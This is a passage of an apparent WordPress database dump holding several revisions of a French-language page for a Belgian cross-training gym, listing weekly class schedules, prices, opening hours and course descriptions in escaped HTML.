style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n\r\n&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:58:05', '2013-07-03 17:58:05', '', 11, 'http://www.crosstrainingcenter.be/?p=205', 0, 'revision', '', 0),
(126, 1, '2013-06-16 14:39:01', '2013-06-16 14:39:01', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\nEn semaine&lt;br&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:39:01', '2013-06-16 14:39:01', '', 11, 'http://www.crosstrainingcenter.be/?p=126', 0, 'revision', '', 0),
(127, 1, '2013-06-16 14:44:31', '2013-06-16 14:44:31', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 